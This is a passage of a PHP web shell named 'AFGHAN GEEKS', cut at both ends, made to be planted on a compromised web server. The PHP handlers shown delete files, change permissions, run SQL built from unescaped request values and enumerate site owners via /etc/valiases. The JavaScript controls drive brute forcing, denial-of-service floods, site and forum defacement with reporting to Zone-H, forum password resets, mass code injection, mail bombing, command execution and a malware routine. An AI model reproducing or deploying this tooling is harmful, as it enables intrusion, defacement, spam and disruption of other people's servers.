4610 $pResult = mysql_db_query( $dbname, "SHOW fields FROM $tablename" );
4611 $num = mysql_num_rows( $pResult );
4612
4613 $rowcount = $num;
4614
4615 $pResultLen = mysql_list_fields( $dbname, $tablename );
4616
4617 for( $i = 0; $i < $num; $i++ )
4618 {
4619 $field = mysql_fetch_array( $pResult );
4620 $fieldname = $field["Field"];
4621 $arrdata = $_REQUEST[$fieldname];
4622
4623 $str1 .= "".$fieldname . ",";
4624 $str2 .= "'".$arrdata . "',";
4625 $rowcount--;
4626 if($rowcount != 0)
4627 {
4628 //$str1 .= $fieldname . ",";
4629 //$str2 .= $arrdata . ",";
4630 }
4631 }
4632 $str1=eregi_replace(',$', '', $str1);
4633 $str2=eregi_replace(',$', '', $str2);
4634 $str = "INSERT INTO `$tablename` ($str1) VALUES ($str2);";
4635 mysql_query($str);
4636
4637 ?><div id="showsql"></div><?php
4638}
4639else if(isset($_GET['logoutdb']))
4640{
4641 setcookie("dbserver",time() - 60*60);
4642 setcookie("dbuser",time() - 60*60);
4643 setcookie("dbpass",time() - 60*60);
4644 header("Location:$self");
4645}
4646else if(isset($_POST['choice']))
4647{
4648 if($_POST['choice'] == "delete")
4649 {
4650 $actbox = $_POST["actbox"];
4651
4652 foreach ($actbox as $myv)
4653 $myv = explode(",",$myv);
4654 foreach ($myv as $v)
4655 {
4656 if(is_file($v))
4657 {
4658 if(unlink($v))
4659 echo "<br><center><font class=txt>File $v Deleted Successfully</font></center>";
4660 else
4661 echo "<br><center>Cannot Delete File $v</center>";
4662 }
4663 else if(is_dir($v))
4664 {
4665 rrmdir($v);
4666 }
4667 }
4668 }
4669 else if($_POST['choice'] == "chmod")
4670 { ?>
4671 <form id="chform"><?php
4672 $actbox1 = $_POST['actbox'];
4673 foreach ($actbox1 as $myv)
4674 $myv = explode(",",$myv);
4675 foreach ($myv as $v)
4676 { ?>
4677 <input type="hidden" name="actbox3[]" id="actbox3[]" value="<?php echo $v; ?>">
4678 <?php }
4679 ?>
4680 <table align="center" border="3" style="width:40%; border-color:#333333;">
4681 <tr>
4682 <td style="height:40px" align="right">Change Permissions </td><td align="center"><input value="0755" name="chmode" class="sbox" /></td>
4683 </tr>
4684 <tr>
4685 <td colspan="2" align="center" style="height:60px">
4686 <input type="button" onClick="myaction('changefileperms',chmode.value)" value="Change Permission" class="but" style="padding: 5px;" /></td>
4687 </tr>
4688 </table>
4689
4690 </form> <?php
4691 }
4692 else if($_POST['choice'] == "changefileperms")
4693 {
4694 if($_POST['chmode'] != null && is_numeric($_POST['chmode']))
4695 {
4696 $actbox = $_POST["actbox"];
4697 foreach ($actbox as $myv)
4698 $myv = explode(",",$myv);
4699 foreach ($myv as $v)
4700 {
4701 if(is_file($v) || is_dir($v))
4702 {
4703 $perms = 0;
4704 for($i=strlen($_POST['chmode'])-1;$i>=0;--$i)
4705 $perms += (int)$_POST['chmode'][$i]*pow(8, (strlen($_POST['chmode'])-$i-1));
4706 echo "<div align=left style=width:60%;>";
4707 if(@chmod($v,$perms))
4708 echo "<font class=txt>File $v Permissions Changed Successfully</font><br>";
4709 else
4710 echo "Cannot Change $v File Permissions<br>";
4711 echo "</div>";
4712 }
4713 }
4714
4715 }
4716 }
4717 else if($_POST['choice'] == "compre")
4718 {
4719 $actbox = $_POST["actbox"];
4720 foreach ($actbox as $myv)
4721 $myv = explode(",",$myv);
4722 foreach ($myv as $v)
4723 {
4724 if(is_file($v))
4725 {
4726 $zip = new ZipArchive();
4727 $filename= basename($v) . '.zip';
4728 if(($zip->open($filename, ZipArchive::CREATE))!==true)
4729 { echo '<br><font size=3>Error: Unable to create zip file for $v</font>';}
4730 else {echo "<br><font class=txt size=3>File $v Compressed successfully</font>";}
4731 $zip->addFile(basename($v));
4732 $zip->close();
4733 }
4734 else if(is_dir($v))
4735 {
4736 if($os == "Linux")
4737 {
4738 $filename= basename($v);
4739 execmd("tar --create --recursion --file=$filename.tar $v");
4740 echo "<br><font class=txt size=3>File $v Compressed successfully as $v.tar</font>";
4741 }
4742 }
4743 }
4744 }
4745 else if($_POST['choice'] == "uncompre")
4746 {
4747 $actbox = $_POST["actbox"];
4748 foreach ($actbox as $myv)
4749 $myv = explode(",",$myv);
4750 foreach ($myv as $v)
4751 {
4752 if(is_file($v) || is_dir($v))
4753 {
4754 $zip = new ZipArchive;
4755 $filename= basename($v);
4756 $res = $zip->open($filename);
4757 if ($res === TRUE)
4758 {
4759 $pieces = explode(".",$filename);
4760 $zip->extractTo($pieces[0]);
4761 $zip->close();
4762 echo "<br><font class=txt size=3>File $v Unzipped successfully</font>";
4763 } else
4764 echo "<br><font size=3>Error: Unable to Unzip file $v</font>";
4765 }
4766 }
4767 }
4768}
4769else if(isset($_GET['sitename']))
4770{
4771 $sitename = str_replace("http://","",$_GET['sitename']);
4772 $sitename = str_replace("http://www.","",$sitename);
4773 $sitename = str_replace("www.","",$sitename);
4774 $show = myexe("ls -la /etc/valiases/".$sitename);
4775 if(!empty($show))
4776 echo $show;
4777 else
4778 echo "Cannot get the username";
4779}
4780else if(isset($_GET['mydata']))
4781{
4782 listdatabase();
4783}
4784else if(isset($_GET['home']))
4785{
4786 mainfun($_GET['home']);
4787}
4788else if(isset($_GET['dir']))
4789{
4790 mainfun($_GET['myfilepath']);
4791}
4792else if(isset($_GET['mydirpath']))
4793{
4794 echo is_writable($_GET['mydirpath'])?"<font class=txt>< writable ></font>":"< not writable >";
4795}
4796else
4797{
4798?>
4799<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
4800<title>AFGHAN GEEKS</title>
4801<script type="text/javascript">
4802checked = false;
4803var waitstate = "<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
4804function checkedAll ()
4805{
4806 if (checked == false){checked = true}else{checked = false}
4807 for (var i = 0; i < document.getElementById('myform').elements.length; i++)
4808 {
4809 document.getElementById('myform').elements[i].checked = checked;
4810 }
4811}
4812function urlchange(myfilepath)
4813{
4814 var mypath, mpath, i, t, j, r = "",myurl = "",splitter="";
4815 splitter = "<?php echo addslashes($directorysperator); ?>";
4816 mypath = mpath = myfilepath.split(splitter);
4817 <?php if($os == "Linux") { ?>
4818 r = "/";
4819 myurl = "<a href=javascript:void(0) onClick=\"changedir('dir','/')\">/</a>";
4820 <?php } ?>
4821 for (i = 0; i < mypath.length; i++)
4822 {
4823 if(mypath[i] == "")
4824 continue;
4825 r += mypath[i]+"<?php echo addslashes($directorysperator); ?>";
4826
4827 myurl += "<a href=javascript:void(0) onClick=\"changedir('dir','"+r+"\')\"><b>"+mypath[i]+"<?php echo addslashes($directorysperator); ?></b></a>";
4828 }
4829 myurl = myurl.replace(/\\/g,"\\\\");
4830 return myurl;
4831}
4832function wrtblDIR(mydirpath)
4833{
4834 var ajaxRequest;
4835 ajaxRequest = new XMLHttpRequest();
4836
4837 ajaxRequest.onreadystatechange = function()
4838 {
4839 if(ajaxRequest.readyState == 4)
4840 {
4841 for(i=0;i<=3;i++)
4842 document.getElementsByName("wrtble")[i].innerHTML=ajaxRequest.responseText;
4843 }
4844 }
4845
4846 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?&mydirpath="+mydirpath, true);
4847 ajaxRequest.send(null);
4848}
4849function setpath(myfilpath)
4850{
4851 wrtblDIR(myfilpath);
4852 document.getElementById("path").value=myfilpath;
4853 document.getElementById("createfile").value=myfilpath;
4854 document.getElementById("createfolder").value=myfilpath;
4855 document.getElementById("createfolder").value=myfilpath;
4856 document.getElementById("exepath").value=myfilpath;
4857 document.getElementById("auexepath").value=myfilpath;
4858 document.getElementById("showdir").innerHTML="";
4859}
4860function changedir(myaction,myfilepath)
4861{
4862 var myurl = urlchange(myfilepath);
4863
4864 document.getElementById("showmaindata").innerHTML=waitstate;
4865 var ajaxRequest;
4866 ajaxRequest = new XMLHttpRequest();
4867
4868 ajaxRequest.onreadystatechange = function()
4869 {
4870 if(ajaxRequest.readyState == 4)
4871 {
4872 setpath(myfilepath);
4873 document.getElementById("crdir").innerHTML=myurl;
4874 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4875 }
4876 }
4877
4878 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
4879 ajaxRequest.send(null);
4880}
4881function gethome(myaction,mydir)
4882{
4883 var myurl = urlchange(mydir);
4884 document.getElementById("showmaindata").innerHTML=waitstate;
4885 var ajaxRequest;
4886 ajaxRequest = new XMLHttpRequest();
4887
4888 ajaxRequest.onreadystatechange = function()
4889 {
4890 if(ajaxRequest.readyState == 4)
4891 {
4892 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
4893 setpath(mydir);
4894 document.getElementById("crdir").innerHTML=myurl;
4895 }
4896 }
4897
4898 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+mydir, true);
4899 ajaxRequest.send(null);
4900}
4901function getname(sitename)
4902{
4903 document.getElementById("showsite").innerHTML=waitstate;
4904 var ajaxRequest;
4905 ajaxRequest = new XMLHttpRequest();
4906
4907 ajaxRequest.onreadystatechange = function()
4908 {
4909 if(ajaxRequest.readyState == 4)
4910 {
4911 document.getElementById("showsite").innerHTML=ajaxRequest.responseText;
4912 }
4913 }
4914
4915 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?sitename="+sitename, true);
4916 ajaxRequest.send(null);
4917}
4918function myaction(myfileaction,chmode)
4919{
4920 var mytype = document.getElementsByName('actbox[]');
4921 var mychoice = new Array();
4922
4923 for (var i = 0, length = mytype.length; i < length; i++)
4924 {
4925 if (mytype[i].checked)
4926 mychoice[i] = mytype[i].value;
4927 }
4928
4929 var params = "choice="+myfileaction+"&chmode="+chmode+"&actbox[]="+mychoice;
4930
4931 document.getElementById("showdir").innerHTML=waitstate;
4932 var ajaxRequest;
4933 ajaxRequest = new XMLHttpRequest();
4934
4935 ajaxRequest.onreadystatechange = function()
4936 {
4937 if(ajaxRequest.readyState == 4)
4938 {
4939 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
4940 }
4941 }
4942
4943 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4944 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4945 ajaxRequest.send(params);
4946}
4947function editdata()
4948{
4949 var result = "", // initialize list
4950 i,dbname,tablename;
4951 // iterate through arguments
4952 for (i = 1; i < arguments.length; i++)
4953 {
4954 if(i%2 == 0)
4955 result += arguments[i]+'=';
4956 else
4957 result += arguments[i]+'&';
4958 }
4959 result = result.slice(0, -1);
4960
4961 dbname = arguments[3];
4962 tablename = arguments[5];
4963 var result=result.replace(/dhanush_/g,"");
4964 var params = arguments[0]+"="+result;
4965
4966 document.getElementById("showsql").innerHTML=waitstate;
4967 var ajaxRequest;
4968 ajaxRequest = new XMLHttpRequest();
4969
4970 ajaxRequest.onreadystatechange = function()
4971 {
4972 if(ajaxRequest.readyState == 4)
4973 {
4974 viewtables('listTables',dbname,tablename);
4975 }
4976 }
4977
4978 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
4979 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
4980 ajaxRequest.send(params);
4981}
4982function viewtables(action,dbname,tablename,rowid,arrdata,executequery,fieldname,page)
4983{
4984 document.getElementById("showsql").innerHTML=waitstate;
4985 var ajaxRequest;
4986 ajaxRequest = new XMLHttpRequest();
4987
4988 ajaxRequest.onreadystatechange = function()
4989 {
4990 if(ajaxRequest.readyState == 4)
4991 {
4992 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
4993 }
4994 }
4995
4996 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?action="+action+"&dbname="+dbname+"&tablename="+tablename+"&"+rowid+"="+arrdata+"&executemyquery="+executequery+"&fieldname="+fieldname+"&page="+page, true);
4997 ajaxRequest.send(null);
4998}
4999function mydatabase(server,username,password)
5000{
5001 document.getElementById("showsql").innerHTML=waitstate;
5002 var ajaxRequest;
5003 ajaxRequest = new XMLHttpRequest();
5004
5005 ajaxRequest.onreadystatechange = function()
5006 {
5007 if(ajaxRequest.readyState == 4)
5008 {
5009 mydatago();
5010 }
5011 }
5012
5013 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executeit&server="+server+"&username="+username+"&password="+password, true);
5014 ajaxRequest.send(null);
5015}
5016function mydatago()
5017{
5018 var ajaxRequest;
5019 ajaxRequest = new XMLHttpRequest();
5020
5021 ajaxRequest.onreadystatechange = function()
5022 {
5023 if(ajaxRequest.readyState == 4)
5024 {
5025 document.getElementById("datatable").style.display = 'none';
5026 document.getElementById("showsql").innerHTML=ajaxRequest.responseText;
5027 }
5028 }
5029
5030 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?mydata", true);
5031 ajaxRequest.send(null);
5032}
5033function bruteforce(prototype,serverport,login,dict)
5034{
5035 var mytype = document.getElementsByName('mytype');
5036 for (var i = 0, length = mytype.length; i < length; i++)
5037 {
5038 if (mytype[i].checked)
5039 break;
5040 }
5041 var getreverse = 0;
5042 if(document.getElementById('reverse').checked == true)
5043 getreverse = 1;
5044 else
5045 getreverse = 0;
5046
5047 document.getElementById("showbrute").innerHTML=waitstate;
5048 var ajaxRequest;
5049 ajaxRequest = new XMLHttpRequest();
5050
5051 ajaxRequest.onreadystatechange = function()
5052 {
5053 if(ajaxRequest.readyState == 4)
5054 {
5055 document.getElementById("showbrute").innerHTML=ajaxRequest.responseText;
5056 }
5057 }
5058
5059 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?prototype="+prototype+"&serverport="+serverport+"&login="+login+"&dict="+dict+"&type="+mytype[i].value+"&reverse="+getreverse, true);
5060 ajaxRequest.send(null);
5061}
5062function executemyfile(action,executepath,execute)
5063{
5064 document.getElementById("showmaindata").innerHTML=waitstate;
5065 var ajaxRequest;
5066 ajaxRequest = new XMLHttpRequest();
5067
5068 ajaxRequest.onreadystatechange = function()
5069 {
5070 if(ajaxRequest.readyState == 4)
5071 {
5072 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5073 }
5074 }
5075
5076 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+action+"&executepath="+executepath+"&execute="+execute, true);
5077 ajaxRequest.send(null);
5078}
5079function maindata(myaction,dir)
5080{
5081 document.getElementById("showmaindata").innerHTML=waitstate;
5082 var ajaxRequest;
5083 ajaxRequest = new XMLHttpRequest();
5084
5085 ajaxRequest.onreadystatechange = function()
5086 {
5087 if(ajaxRequest.readyState == 4)
5088 {
5089 document.getElementById("showmaindata").innerHTML=ajaxRequest.responseText;
5090 document.getElementById("showdir").innerHTML="";
5091 }
5092 }
5093
5094 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"="+myaction+"&dir="+dir, true);
5095 ajaxRequest.send(null);
5096}
5097function manuallyscriptfn(passwd)
5098{
5099 var message = encodeURIComponent(passwd);
5100 var params = "scriptlocator=scriptlocator&passwd="+passwd;
5101 document.getElementById("showdata").innerHTML=waitstate;
5102 var ajaxRequest;
5103 ajaxRequest = new XMLHttpRequest();
5104
5105 ajaxRequest.onreadystatechange = function()
5106 {
5107 if(ajaxRequest.readyState == 4)
5108 {
5109 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5110 }
5111 }
5112
5113 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5114 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5115 ajaxRequest.send(params);
5116}
5117function my404page(message)
5118{
5119 var message = encodeURIComponent(message);
5120 var params = "404page=404page&message="+message;
5121 document.getElementById("showdata").innerHTML=waitstate;
5122 var ajaxRequest;
5123 ajaxRequest = new XMLHttpRequest();
5124
5125 ajaxRequest.onreadystatechange = function()
5126 {
5127 if(ajaxRequest.readyState == 4)
5128 {
5129 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5130 }
5131 }
5132
5133 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5134 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5135 ajaxRequest.send(params);
5136}
5137function executemyfn(executepath,executemycmd)
5138{
5139 document.getElementById("showexecute").innerHTML="Wait....";
5140 var ajaxRequest;
5141 ajaxRequest = new XMLHttpRequest();
5142
5143 ajaxRequest.onreadystatechange = function()
5144 {
5145 if(ajaxRequest.readyState == 4)
5146 {
5147 document.getElementById("showexecute").innerHTML=ajaxRequest.responseText;
5148 }
5149 }
5150
5151 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?executepath="+executepath+"&executemycmd="+executemycmd, true);
5152 ajaxRequest.send(null);
5153}
5154function zoneh(defacer,hackmode,reason,domain)
5155{
5156 var domain = encodeURIComponent(domain);
5157 var params = "SendNowToZoneH=SendNowToZoneH&defacer="+defacer+"&hackmode="+hackmode+"&reason="+reason+"&domain="+domain;
5158 document.getElementById("showzone").innerHTML=waitstate;
5159 var ajaxRequest;
5160 ajaxRequest = new XMLHttpRequest();
5161
5162 ajaxRequest.onreadystatechange = function()
5163 {
5164 if(ajaxRequest.readyState == 4)
5165 {
5166 document.getElementById("showzone").innerHTML=ajaxRequest.responseText;
5167 }
5168 }
5169
5170 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5171 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5172 ajaxRequest.send(params);
5173}
5174function savemyfile(file,content)
5175{
5176 var content = encodeURIComponent(content);
5177 var params = "content="+content+"&file="+file;
5178 document.getElementById("showmydata").innerHTML=waitstate;
5179 var ajaxRequest;
5180 ajaxRequest = new XMLHttpRequest();
5181
5182 ajaxRequest.onreadystatechange = function()
5183 {
5184 if(ajaxRequest.readyState == 4)
5185 {
5186 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5187 }
5188 }
5189
5190 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5191 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5192 ajaxRequest.send(params);
5193}
5194function renamefun(file,to)
5195{
5196 document.getElementById("showmydata").innerHTML=waitstate;
5197 var ajaxRequest;
5198 ajaxRequest = new XMLHttpRequest();
5199
5200 ajaxRequest.onreadystatechange = function()
5201 {
5202 if(ajaxRequest.readyState == 4)
5203 {
5204 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5205 }
5206 }
5207
5208 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?renamemyfile&file="+file+"&to="+to, true);
5209 ajaxRequest.send(null);
5210}
5211function changeperms(chmode,myfilename)
5212{
5213 document.getElementById("showmydata").innerHTML=waitstate;
5214 var ajaxRequest;
5215 ajaxRequest = new XMLHttpRequest();
5216
5217 ajaxRequest.onreadystatechange = function()
5218 {
5219 if(ajaxRequest.readyState == 4)
5220 {
5221 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5222 }
5223 }
5224
5225 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?chmode="+chmode+"&myfilename="+myfilename, true);
5226 ajaxRequest.send(null);
5227}
5228function defacefun(deface)
5229{
5230 var ajaxRequest;
5231 ajaxRequest = new XMLHttpRequest();
5232
5233 ajaxRequest.onreadystatechange = function()
5234 {
5235 if(ajaxRequest.readyState == 4)
5236 {
5237 alert(ajaxRequest.responseText);
5238 }
5239 }
5240
5241 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?deface="+deface, true);
5242 ajaxRequest.send(null);
5243}
5244function fileaction(myaction,myfilepath)
5245{
5246 document.getElementById("showmydata").innerHTML=waitstate;
5247 var ajaxRequest;
5248 ajaxRequest = new XMLHttpRequest();
5249
5250 ajaxRequest.onreadystatechange = function()
5251 {
5252 if(ajaxRequest.readyState == 4)
5253 {
5254 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5255 }
5256 }
5257
5258 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+myaction+"&myfilepath="+myfilepath, true);
5259 ajaxRequest.send(null);
5260}
5261function bypassfun(funct,functvalue,optiontype)
5262{
5263 document.getElementById("showbyp").innerHTML=waitstate;
5264 var ajaxRequest;
5265 ajaxRequest = new XMLHttpRequest();
5266
5267 ajaxRequest.onreadystatechange = function()
5268 {
5269 if(ajaxRequest.readyState == 4)
5270 {
5271 document.getElementById("showbyp").innerHTML=ajaxRequest.responseText;
5272 }
5273 }
5274
5275 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?bypassit&"+funct+"="+functvalue+"&optiontype="+optiontype, true);
5276 ajaxRequest.send(null);
5277}
5278function dos(target,ip,port,timeout,exTime,no0fBytes,multiplier)
5279{
5280 document.getElementById("showdos").innerHTML=waitstate;
5281 var ajaxRequest;
5282 ajaxRequest = new XMLHttpRequest();
5283
5284 ajaxRequest.onreadystatechange = function()
5285 {
5286 if(ajaxRequest.readyState == 4)
5287 {
5288 document.getElementById("showdos").innerHTML=ajaxRequest.responseText;
5289 }
5290 }
5291
5292 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+target+"&ip="+ip+"&port="+port+"&timeout="+timeout+"&exTime="+exTime+"&multiplier="+multiplier+"&no0fBytes="+no0fBytes, true);
5293 ajaxRequest.send(null);
5294}
5295function createfile(filecreator,filecontent)
5296{
5297 var mm = filecreator.slice(0, filecreator.lastIndexOf("<?php echo addslashes($directorysperator); ?>"));
5298 var filecontent = encodeURIComponent(filecontent);
5299 var params = "filecontent="+filecontent+"&filecreator="+filecreator;
5300 document.getElementById("showdir").innerHTML=waitstate;
5301 var ajaxRequest;
5302 ajaxRequest = new XMLHttpRequest();
5303
5304 ajaxRequest.onreadystatechange = function()
5305 {
5306 if(ajaxRequest.readyState == 4)
5307 {
5308 gethome('home',mm);
5309 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5310 }
5311 }
5312
5313 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5314 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5315 ajaxRequest.send(params);
5316}
5317function createdir(create,createfolder)
5318{
5319 document.getElementById("showdir").innerHTML=waitstate;
5320 var ajaxRequest;
5321 ajaxRequest = new XMLHttpRequest();
5322
5323 ajaxRequest.onreadystatechange = function()
5324 {
5325 if(ajaxRequest.readyState == 4)
5326 {
5327 document.getElementById("showdir").innerHTML=ajaxRequest.responseText;
5328 }
5329 }
5330
5331 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+create+"="+createfolder, true);
5332 ajaxRequest.send(null);
5333}
5334function codeinsert(code)
5335{
5336 var code = encodeURIComponent(code);
5337 var params = "getcode="+code;
5338 document.getElementById("showcode").innerHTML=waitstate;
5339 var ajaxRequest;
5340 ajaxRequest = new XMLHttpRequest();
5341
5342 ajaxRequest.onreadystatechange = function()
5343 {
5344 if(ajaxRequest.readyState == 4)
5345 {
5346 document.getElementById("showcode").innerHTML=ajaxRequest.responseText;
5347 }
5348 }
5349
5350 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5351 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5352 ajaxRequest.send(params);
5353}
5354function getmydata(mydata)
5355{
5356 document.getElementById("showmydata").innerHTML=waitstate;
5357 var ajaxRequest;
5358 ajaxRequest = new XMLHttpRequest();
5359
5360 ajaxRequest.onreadystatechange = function()
5361 {
5362 if(ajaxRequest.readyState == 4)
5363 {
5364 document.getElementById("showmydata").innerHTML=ajaxRequest.responseText;
5365 }
5366 }
5367
5368 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata, true);
5369 ajaxRequest.send(null);
5370}
5371function getdata(mydata,myfile)
5372{
5373 document.getElementById("showdata").innerHTML=waitstate;
5374 var ajaxRequest;
5375 ajaxRequest = new XMLHttpRequest();
5376
5377 ajaxRequest.onreadystatechange = function()
5378 {
5379 if(ajaxRequest.readyState == 4)
5380 {
5381 document.getElementById("showdata").innerHTML=ajaxRequest.responseText;
5382 }
5383 }
5384
5385 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?"+mydata+"&myfile="+myfile, true);
5386 ajaxRequest.send(null);
5387}
5388function getport(host,protocol,start,end)
5389{
5390 document.getElementById("showports").innerHTML=waitstate;
5391 var ajaxRequest;
5392 ajaxRequest = new XMLHttpRequest();
5393
5394 ajaxRequest.onreadystatechange = function()
5395 {
5396 if(ajaxRequest.readyState == 4)
5397 {
5398 document.getElementById("showports").innerHTML=ajaxRequest.responseText;
5399 }
5400 }
5401
5402 ajaxRequest.open("GET", "<?php echo $_SERVER["PHP_SELF"]; ?>?host=" + host + "&protocol=" + protocol, true);
5403 ajaxRequest.send(null);
5404}
5405function changeforumpassword(forumpass,f1,f2,f3,f4,forums,tableprefix,ipbuid,newipbpass,username,newjoomlapass,uid,uname,newpass)
5406{
5407 document.getElementById("showchangepass").innerHTML=waitstate;
5408 var ajaxRequest;
5409 ajaxRequest = new XMLHttpRequest();
5410
5411 ajaxRequest.onreadystatechange = function()
5412 {
5413 if(ajaxRequest.readyState == 4)
5414 {
5415 document.getElementById("showchangepass").innerHTML=ajaxRequest.responseText;
5416 }
5417 }
5418
5419 ajaxRequest.open("GET", "<?php echo $_SERVER['PHP_SELF']; ?>?forumpass&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&forums=" + forums + "&prefix=" + tableprefix + "&ipbuid=" + ipbuid + "&newipbpass=" + newipbpass + "&username=" + username + "&newjoomlapass=" + newjoomlapass + "&uid=" + uid + "&uname=" + uname + "&newpass=" + newpass, true);
5420 ajaxRequest.send(null);
5421}
5422function forumdefacefn(index,f1,f2,f3,f4,defaceforum,tableprefix,siteurl,head,alll,f5)
5423{
5424 var index = encodeURIComponent(index);
5425 var params = "forumdeface="+defaceforum+"&index=" + index + "&f1=" + f1 + "&f2=" + f2 + "&f3=" + f3 + "&f4=" + f4 + "&tableprefix="+tableprefix+"&siteurl="+siteurl+"&head="+head+"&alll="+alll+"&f5="+f5;
5426 document.getElementById("showdeface").innerHTML=waitstate;
5427 var ajaxRequest;
5428 ajaxRequest = new XMLHttpRequest();
5429
5430 ajaxRequest.onreadystatechange = function()
5431 {
5432 if(ajaxRequest.readyState == 4)
5433 {
5434 document.getElementById("showdeface").innerHTML=ajaxRequest.responseText;
5435 }
5436 }
5437
5438 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5439 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5440 ajaxRequest.send(params);
5441}
5442function codeinjector(pathtomass,mode,filetype,injectthis)
5443{
5444 var injectthis = encodeURIComponent(injectthis);
5445 var params = "pathtomass="+pathtomass+"&mode=" + mode + "&filetype=" + filetype + "&injectthis=" + injectthis;
5446 document.getElementById("showinject").innerHTML=waitstate;
5447 var ajaxRequest;
5448 ajaxRequest = new XMLHttpRequest();
5449
5450 ajaxRequest.onreadystatechange = function()
5451 {
5452 if(ajaxRequest.readyState == 4)
5453 {
5454 document.getElementById("showinject").innerHTML=ajaxRequest.responseText;
5455 }
5456 }
5457
5458 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5459 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5460 ajaxRequest.send(params);
5461}
5462function sendmail(mailfunction,to,subject,message,from,times,padding)
5463{
5464 var message = encodeURIComponent(message);
5465 if(mailfunction == "massmailing")
5466 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"&from=" + from + "&message=" + message;
5467 else if(mailfunction == "dobombing")
5468 var params = "mailfunction="+mailfunction+"&to="+to+"&subject="+subject+"×=" + times + "&padding=" + padding + "&message=" + message;
5469 document.getElementById("showmail").innerHTML=waitstate;
5470 var ajaxRequest;
5471 ajaxRequest = new XMLHttpRequest();
5472
5473 ajaxRequest.onreadystatechange = function()
5474 {
5475 if(ajaxRequest.readyState == 4)
5476 {
5477 document.getElementById("showmail").innerHTML=ajaxRequest.responseText;
5478 }
5479 }
5480
5481 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5482 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5483 ajaxRequest.send(params);
5484}
5485function execode(code)
5486{
5487 var intext = document.getElementById('intext').checked;
5488 var message = encodeURIComponent(message);
5489 var params = "code="+code+"&intext="+intext;
5490 document.getElementById("showresult").innerHTML=waitstate;
5491 var ajaxRequest;
5492 ajaxRequest = new XMLHttpRequest();
5493
5494 ajaxRequest.onreadystatechange = function()
5495 {
5496 if(ajaxRequest.readyState == 4)
5497 {
5498 document.getElementById("showresult").innerHTML=ajaxRequest.responseText;
5499 }
5500 }
5501
5502 ajaxRequest.open("POST", "<?php echo $_SERVER["PHP_SELF"]; ?>", true);
5503 ajaxRequest.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
5504 ajaxRequest.send(params);
5505}
5506function malwarefun(malwork)
5507{
5508 var malpath = document.getElementById('createfile').value;
5509 document.getElementById("showmal").innerHTML="<center><marquee scrollamount=4 width=150>Wait....</marquee></center>";
5510 var ajaxRequest;
5511 ajaxRequest = new XMLHttpRequest();
5512
5513 ajaxRequest.onreadystatechange = function()
5514 {
